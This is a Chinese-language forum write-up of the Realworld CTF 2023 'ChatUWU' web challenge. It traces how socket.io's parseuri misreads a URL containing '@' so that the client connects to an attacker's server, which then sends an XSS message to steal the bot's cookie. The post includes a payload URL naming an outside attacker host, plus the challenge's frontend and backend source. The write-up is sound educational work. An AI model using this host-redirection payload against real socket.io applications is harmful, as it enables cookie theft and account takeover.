首页
社区
课程
招聘
[原创]Realworld CTF 2023 ChatUWU 详解
发表于: 2023-1-9 18:57 14314

[原创]Realworld CTF 2023 ChatUWU 详解

2023-1-9 18:57
14314

一个基于 socket.io 的聊天室,当时进去很混乱,也很纳闷一个公共的聊天室打XSS别人不会上车吗?但实际不是这样的,重点是这个 socket.io 的问题 (准确来说是socket.io 中的parseuri问题)。

题目给了源码

前端index.html关键部分

后端index.js

后端使用了DOMPurify来对传入的 fromtext 进行了过滤,看了下这个版本的 DOMPurify 是^0.24.0的,基本没有漏洞。然后就不会了,做不出来。

赛后参考 https://ctftime.org/writeup/36057

发现这题实际上是让前端的socket连接到我们自己的服务器上从而实现xss的。

这位是师傅的payload是这样的

http://47.254.28.30:58000/?room=DOMPurify&nickname=guest5279@85.244.211.240:9000

@ 后面是自己的服务器地址。

那这是什么原理呢?

注意他前端连接socket服务器的地方是这样的,前端我们唯一能方便控制的也就是 location.search ,同时也注意到他这个xssbot只能接收 http://47.254.28.30:58000/开头的链接,那多半是这个查询参数的问题了。

location.search就是url中的查询参数

所以我们正常情况下是这样连接的 let socket = io("/?nickname=guest0611&room=DOMPurify")

没啥好的办法,就前端一步步调试吧。

打断点开始一步步调试

图片描述

进入 io 后跳转到 lookup 函数中

图片描述

lookup 函数会创建一个 Manager 对象从而连接 ws服务器。

继续跟进

图片描述

对象里的 this.uri 是我们给的链接,后续会在 this.open中打开该链接对应的host从而连接socket服务器

继续跟进

图片描述

open方法中可以看到 109 行已经确定了socket连接的hostname,所以我们跟进到 108 行进入Engine类中看是如何根据 uri 确定hostname的

进入 108 行的 Engine中

图片描述

跟进后发现跳转到了 socket.js 里,这里才真正进入到 socket 本体里,看看是如何解析uri的

图片描述

22行有个 parse 方法,uri经过 parse 方法解析后拿到host,然后再经过一次 parse 方法解析后就拿到了最终的hostname了。关键是看看这个 parse 方法是如何解析的。

跟进 22行的parse

发现该解析uri的代码来自 https://github.com/galkn/parseuri

源码 parseuri.js

图片描述

可以看到 str(http://47.254.28.30:58000/?room=DOMPurify&nickname=guest0611) 经过正则提取后得到了个14个元素的数组,将他们一一对应起来就构成了解析后的 uri 对象。

上文所用的payload正是因为这个正则提取的问题。(有兴趣的师傅可以看看这个很长的正则)

我们本地可以试一试

将上面的 parseuri.js 代码复制到控制台执行。(注意去除export)

执行

图片描述

可以发现返回的 host 和 post都成了我们 @ 后面的这个了

socket.io 内部使用了 parseuri 这个组件来解析给定的链接,而parseuri解析出了错误的 host 从而导致 socket.io 连接到了恶意服务器。

知道这些那这题就很简单了,自己起一个恶意服务器,让xssbot连接我们的恶意服务器,发送可以造成xss的 text 从而窃取到cookie

evil服务器(把题目给的改改就行):

开启后向xssbot发送

图片描述

https://ctftime.org/writeup/36057

https://socket.io/docs/v4/

https://github.com/galkn/parseuri

 
 
<script>
    function reset() {
        location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
    }
 
    let query = new URLSearchParams(location.search),
        nickname = query.get('nickname'),
        room = query.get('room');
    if (!nickname || !room) {
        reset();
    }
    for (let k of query.keys()) {
        if (!['nickname', 'room'].includes(k)) {
            reset();
        }
    }
    document.title += ' - ' + room;
    let socket = io(`/${location.search}`),
        messages = document.getElementById('messages'),
        form = document.getElementById('form'),
        input = document.getElementById('input');
 
    form.addEventListener('submit', function (e) {
        e.preventDefault();
        if (input.value) {
            socket.emit('msg', {from: nickname, text: input.value});
            input.value = '';
        }
    });
 
    socket.on('msg', function (msg) {
        let item = document.createElement('li'),
            msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
        room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
        console.log(msgtext);
        messages.appendChild(item);
        window.scrollTo(0, document.body.scrollHeight);
    });
 
    socket.on('error', msg => {
        alert(msg);
        reset();
    });
</script>
<script>
    function reset() {
        location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
    }
 
    let query = new URLSearchParams(location.search),
        nickname = query.get('nickname'),
        room = query.get('room');
    if (!nickname || !room) {
        reset();
    }
    for (let k of query.keys()) {
        if (!['nickname', 'room'].includes(k)) {
            reset();
        }
    }
    document.title += ' - ' + room;
    let socket = io(`/${location.search}`),
        messages = document.getElementById('messages'),
        form = document.getElementById('form'),
        input = document.getElementById('input');
 
    form.addEventListener('submit', function (e) {
        e.preventDefault();
        if (input.value) {
            socket.emit('msg', {from: nickname, text: input.value});
            input.value = '';
        }
    });
 
    socket.on('msg', function (msg) {
        let item = document.createElement('li'),
            msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
        room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
        console.log(msgtext);
        messages.appendChild(item);
        window.scrollTo(0, document.body.scrollHeight);
    });
 
    socket.on('error', msg => {
        alert(msg);
        reset();
    });
</script>
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http);
const DOMPurify = require('isomorphic-dompurify');
 
const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = process.env.PORT || 8000;
const rooms = ['textContent', 'DOMPurify'];
 
 
app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});
 
io.on('connection', (socket) => {
    let {nickname, room} = socket.handshake.query;
    if (!rooms.includes(room)) {
        socket.emit('error', 'the room does not exist');
        socket.disconnect(true);
        return;
    }
    socket.join(room);
    io.to(room).emit('msg', {
        from: 'system',
        // text: `${nickname} has joined the room`
        text: 'a new user has joined the room'
    });
    socket.on('msg', msg => {
        msg.from = String(msg.from).substr(0, 16)
        msg.text = String(msg.text).substr(0, 140)
        console.log(DOMPurify.sanitize(msg.from))
        console.log(DOMPurify.sanitize(msg.text))
        if (room === 'DOMPurify') {
            io.to(room).emit('msg', {
                from: DOMPurify.sanitize(msg.from),
                text: DOMPurify.sanitize(msg.text),
                isHtml: true
            });
        } else {
            io.to(room).emit('msg', {
                from: msg.from,
                text: msg.text,
                isHtml: false
            });
        }
    });
});
 
http.listen(port, hostname, () => {
    console.log(`ChatUWU server running at http://${hostname}:${port}/`);
});
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http);
const DOMPurify = require('isomorphic-dompurify');
 
const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = process.env.PORT || 8000;
const rooms = ['textContent', 'DOMPurify'];
 
 
app.get('/', (req, res) => {
    res.sendFile(__dirname + '/index.html');
});
 
io.on('connection', (socket) => {
    let {nickname, room} = socket.handshake.query;
    if (!rooms.includes(room)) {
        socket.emit('error', 'the room does not exist');
        socket.disconnect(true);
        return;
    }
    socket.join(room);
    io.to(room).emit('msg', {
        from: 'system',
        // text: `${nickname} has joined the room`
        text: 'a new user has joined the room'
    });
    socket.on('msg', msg => {
        msg.from = String(msg.from).substr(0, 16)
        msg.text = String(msg.text).substr(0, 140)
        console.log(DOMPurify.sanitize(msg.from))
        console.log(DOMPurify.sanitize(msg.text))
        if (room === 'DOMPurify') {
            io.to(room).emit('msg', {
                from: DOMPurify.sanitize(msg.from),
                text: DOMPurify.sanitize(msg.text),
                isHtml: true
            });
        } else {
            io.to(room).emit('msg', {
                from: msg.from,
                text: msg.text,
                isHtml: false

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//